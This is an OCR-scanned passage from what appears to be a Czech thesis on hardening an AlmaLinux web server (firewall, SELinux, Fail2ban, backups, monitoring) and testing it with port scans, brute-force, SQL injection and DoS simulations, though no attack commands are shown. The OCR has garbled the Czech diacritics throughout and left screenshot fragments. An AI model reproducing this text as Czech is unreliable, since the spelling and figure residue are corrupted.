Primérné vyuziti CPU v celém systému Primémé vyuZiti CPU kontejner(

a9 0.44%

Vyuziti paméti Vyuziti paméti Dockeru Fitt.

PFesné vyu2iti v zaznamenaném &ase Vyuditi paméti docker kontejneril

1768 56 MB —

368 ~

A0MB <

Obrazek 83: Ukazka zatiZeni procesoru
Zdroj: Vlastni prdace

V ramci konfigurace monitoringu bylo nastaveno upozornéni prostfednictvim e-mailu
pfi prekro¢eni prahové hodnoty zatiZeni procesoru nad 80 %. Uvedené opatifeni umozZnilo
vcasnou detekci nestandardniho chovani systému a rychlou reakci spravce.
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BP CPU above threshold

s Support S &K o~
Komu: Vy Ne 05.04.2026 18:29

CPU averaged 82.21% for the previous 1 minute.

http://localhost:8090/system/mc1tbhf59ioljz4

N Odpovédst 2 Preposlat

Obrazek 84: Upozorinovaci email na zatiZeni procesoru
Zdroj: Vlastni prdace

Z hlediska redlného nasazeni bylo konstatovano, ze obdobna uUroven zatizeni by v prostredi
verejné sité nebyla bézné dosazitelna z jediné IP adresy. Poskytovatelé internetového pfipojeni
a sitova infrastruktura obvykle implementuji mechanismy pro omezeni nhadmérného provozu,
jako jsou filtrace nebo rate limiting. V lokalnim laboratornim prostredi bylo veskeré zatizeni
zpracovavano jednim zafizenim, zatimco v prostredi internetu je sitovy provoz distribuovan mezi

v

vice prvkl infrastruktury, coZ vede k rozloZeni zatéze.
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Zaveér

Cilem prace bylo navrhnout, implementovat a otestovat zabezpecéeny server s vyuzitim béziné
dostupnych nastrojii a technologii v prostfedi operacniho systému AlmalLinux. Prace byla
rozdélena na teoretickou a praktickou ¢dast, pficemz teoreticka ¢ast se zamérovala na vysvétleni
zékladnich principt fungovani serverl a bezpecnostnich hrozeb. Byly popsany klicové pojmy
souvisejici se zabezpecenim, jako je fizeni pfistupu, autentizace, firewall, SELinux nebo principy
ochrany proti nejcastéjsim typam utoka.

V praktické ¢asti byl nasledné vytvoren pIné funkéni server, na kterém byl nakonfigurovan
webovy server Apache, databazovy systém MariaDB a redakéni systém WordPress. Dlraz byl
kladen nejen na samotné zprovoznéni sluzeb, ale pfedevsim na jejich bezpe€né nastaveni. Byla
provedena konfigurace pfistupovych prav, zména vychozich portl, omezeni pfistupu
pro privilegované uZivatele a zabezpeceni komunikace mezi jednotlivymi komponentami
systému. Vyznamnou roli hrdlo také spravné nastaveni opravnéni v souborovém systému, které
zabranilo neopravnénym zdsahim do dilezZitych soubort aplikaci.

Soucasti implementace bylo nasazeni bezpecnostnich mechanismd na uUrovni operac¢niho
systému. Firewall byl nakonfigurovdn tak, aby povoloval pouze nezbytné porty a sluzby, ¢imz
doslo k minimalizaci potencidlniho utokového prostoru. SELinux byl ponechan v rezimu
enforcing, cozZ zajistilo dodatecnou kontrolu nad tim, jaké operace mohou jednotlivé procesy
provadét. Dalsim duleZitym prvkem bylo nasazeni nastroje Fail2ban, ktery aktivné monitoruje
logy systému a automaticky blokuje IP adresy, ze kterych pfichazi opakované nelspésné pokusy
o prihlaseni. Tim byla vyrazné zvySena odolnost serveru proti brute force utokdm.

DulezZitou soucasti zabezpeceni bylo také zavedeni pravidelného zalohovani dat. Bylo
realizovano automatické zalohovani databaze, soubori WordPressu a konfiguracnich soubort
systému na samostatny zalohovaci server. Realizovany pfistup zajistuje, Ze v pfipadé selhani
systému, chyby administratora nebo Uspésného Utoku je moiné data rychle obnovit. Proces
zalohovani byl plné automatizovan pomoci skriptd a pldnovace uloh cron, coz eliminuje nutnost
manualnich zasahu a sniZuje riziko lidské chyby.

Dalsi vyznamnou ¢asti bylo zavedeni monitoringu serveru, ktery umoZiuje sledovat jeho aktualni
stav a vykon. Pomoci monitorovaciho nastroje bylo mozné sledovat vyuZiti procesoru, paméti,
diskového prostoru a dalsi dllezité metriky. Monitoring zdroven umoZiiuje vcas reagovat
na nestandardni chovani systému, napfiklad pfi zvySené zatézi zplisobené utokem nebo chybou
aplikace.

V zavérecné fazi prace byly provedeny penetracni a zatéZové testy s vyuZitim ndastrojl
z distribuce Kali Linux. Bylo provedeno skenovani portd, simulace brute force Utokdl, pokusy
0SQL injection a zakladni DoS utok. Vysledky testovani ukazaly, Ze implementovana
bezpecnostni opatieni jsou funkéni a server je schopen odolat béznym typdm utok(. Fail2ban
Uspésné blokoval atocici IP adresy, firewall omezoval pfistup pouze na povolené sluzby
a samotny WordPress odolaval zakladnim pokuslim o naruseni.

Ziskané vysledky potvrzuji, Ze i s vyuZitim volné dostupnych nastrojid lze vytvofrit relativné
bezpelné serverové prostiedi, které splfiuje zakladni poZadavky na ochranu dat a sluzeb. Je viak
dllezité si uvédomit, Ze zabezpeceni serveru neni jednorazova cinnost, ale dlouhodoby proces,
ktery vyZaduje pravidelnou aktualizaci, monitoring a reakci na nové hrozby.
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Navrzené feSeni nabizi prostor pro dalsi rozsifeni. V budoucnu by bylo mozné implementovat
napfiklad VPN pro bezpeény vzdaleny pfistup, pokrocilejsi detekéni systémy (IDS/IPS),
centralizovanou spravu logll nebo nasazeni reverzniho proxy serveru. Dalsi moZnosti je také
rozsifeni o vysokou dostupnost sluzeb nebo vyuziti kontejnerizace.

Prace tak poskytuje uceleny prehled o navrhu, implementaci a testovani zabezpeceného serveru
a mUze slouZit jako zaklad pro dalsi studium nebo praktické nasazeni v redlném prostredi.
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